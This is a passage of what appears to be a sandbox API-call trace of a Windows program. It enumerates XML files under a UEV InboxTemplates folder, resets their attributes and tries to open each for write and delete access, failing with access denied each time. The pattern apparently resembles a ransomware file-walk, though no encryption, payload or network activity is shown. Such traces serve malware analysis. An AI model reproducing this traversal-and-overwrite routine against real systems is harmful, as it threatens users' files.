	[0079.956] FindNextFileW (in: hFindFile=0x2d877f8, lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.957] wcscmp (_String1="..", _String2=".") returned 1
	[0079.957] wcscmp (_String1="..", _String2="..") returned 0
	[0079.957] FindNextFileW (in: hFindFile=0x2d877f8, lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1
	[0079.957] wcscmp (_String1="InboxTemplates", _String2=".") returned 1
	[0079.957] wcscmp (_String1="InboxTemplates", _String2="..") returned 1
	[0079.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daea08
	[0079.958] wcscpy (in: _Dest=0x2daea08, _Source="C:\\ProgramData\\Microsoft\\UEV" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV") returned="C:\\ProgramData\\Microsoft\\UEV"
	[0079.958] wcscat (in: _Dest=0x2daea08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\") returned="C:\\ProgramData\\Microsoft\\UEV\\"
	[0079.958] wcscat (in: _Dest=0x2daea08, _Source="InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4733800
	[0092.204] wcscpy (in: _Dest=0x4733800, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.204] wcscat (in: _Dest=0x4733800, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.204] wcscat (in: _Dest=0x4733800, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\*") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\*"
	[0092.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0092.204] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.209] wcscmp (_String1=".", _String2=".") returned 0
	[0092.209] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.211] wcscmp (_String1="..", _String2=".") returned 1
	[0092.211] wcscmp (_String1="..", _String2="..") returned 0
	[0092.211] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1
	[0092.211] wcscmp (_String1="DesktopSettings2013.xml", _String2=".") returned 1
	[0092.211] wcscmp (_String1="DesktopSettings2013.xml", _String2="..") returned 1
	[0092.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e398
	[0092.212] wcscpy (in: _Dest=0x476e398, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.212] wcscat (in: _Dest=0x476e398, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.212] wcscat (in: _Dest=0x476e398, _Source="DesktopSettings2013.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml"
	[0092.212] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20
	[0092.223] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.223] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.223] GetLastError () returned 0x5
	[0092.223] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e398) returned 1
	[0092.223] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1
	[0092.223] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2=".") returned 1
	[0092.224] wcscmp (_String1="EaseOfAccessSettings2013.xml", _String2="..") returned 1
	[0092.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894e60
	[0092.224] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.224] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.224] wcscat (in: _Dest=0x4894e60, _Source="EaseOfAccessSettings2013.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml"
	[0092.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20
	[0092.224] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.224] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.224] GetLastError () returned 0x5
	[0092.224] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.224] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.224] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1
	[0092.224] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2=".") returned 1
	[0092.224] wcscmp (_String1="MicrosoftInternetExplorer2013.xml", _String2="..") returned 1
	[0092.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x2d7f850
	[0092.224] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.224] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.224] wcscat (in: _Dest=0x2d7f850, _Source="MicrosoftInternetExplorer2013.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml"
	[0092.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20
	[0092.301] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0
	[0092.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.302] GetLastError () returned 0x5
	[0092.302] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0
	[0092.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1
	[0092.302] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1
	[0092.302] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2=".") returned 1
	[0092.302] wcscmp (_String1="MicrosoftInternetExplorer2013Backup.xml", _String2="..") returned 1
	[0092.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61e70
	[0092.302] wcscpy (in: _Dest=0x2d61e70, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.302] wcscat (in: _Dest=0x2d61e70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.302] wcscat (in: _Dest=0x2d61e70, _Source="MicrosoftInternetExplorer2013Backup.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml"
	[0092.302] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20
	[0092.302] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0
	[0092.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.302] GetLastError () returned 0x5
	[0092.303] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0
	[0092.303] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61e70) returned 1
	[0092.303] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1
	[0092.303] wcscmp (_String1="MicrosoftLync2010.xml", _String2=".") returned 1
	[0092.303] wcscmp (_String1="MicrosoftLync2010.xml", _String2="..") returned 1
	[0092.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e398
	[0092.303] wcscpy (in: _Dest=0x476e398, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.303] wcscat (in: _Dest=0x476e398, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.303] wcscat (in: _Dest=0x476e398, _Source="MicrosoftLync2010.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml"
	[0092.303] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20
	[0092.303] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0
	[0092.303] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.303] GetLastError () returned 0x5
	[0092.303] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0
	[0092.303] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e398) returned 1
	[0092.303] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1
	[0092.303] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2=".") returned 1
	[0092.303] wcscmp (_String1="MicrosoftLync2013Win32.xml", _String2="..") returned 1
	[0092.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e311b8
	[0092.303] wcscpy (in: _Dest=0x4e311b8, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.304] wcscat (in: _Dest=0x4e311b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.304] wcscat (in: _Dest=0x4e311b8, _Source="MicrosoftLync2013Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml"
	[0092.304] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20
	[0092.310] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.310] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.310] GetLastError () returned 0x5
	[0092.310] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e311b8) returned 1
	[0092.311] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1
	[0092.311] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2=".") returned 1
	[0092.311] wcscmp (_String1="MicrosoftLync2013Win64.xml", _String2="..") returned 1
	[0092.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e30378
	[0092.311] wcscpy (in: _Dest=0x4e30378, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.311] wcscat (in: _Dest=0x4e30378, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.311] wcscat (in: _Dest=0x4e30378, _Source="MicrosoftLync2013Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml"
	[0092.311] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20
	[0092.311] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.311] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.311] GetLastError () returned 0x5
	[0092.311] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30378) returned 1
	[0092.311] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1
	[0092.311] wcscmp (_String1="MicrosoftNotepad.xml", _String2=".") returned 1
	[0092.311] wcscmp (_String1="MicrosoftNotepad.xml", _String2="..") returned 1
	[0092.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e818
	[0092.311] wcscpy (in: _Dest=0x476e818, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.311] wcscat (in: _Dest=0x476e818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.311] wcscat (in: _Dest=0x476e818, _Source="MicrosoftNotepad.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml"
	[0092.311] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20
	[0092.312] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0
	[0092.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.312] GetLastError () returned 0x5
	[0092.312] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0
	[0092.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e818) returned 1
	[0092.312] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1
	[0092.312] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2=".") returned 1
	[0092.312] wcscmp (_String1="MicrosoftOffice2010Win32.xml", _String2="..") returned 1
	[0092.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894f00
	[0092.312] wcscpy (in: _Dest=0x4894f00, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.312] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
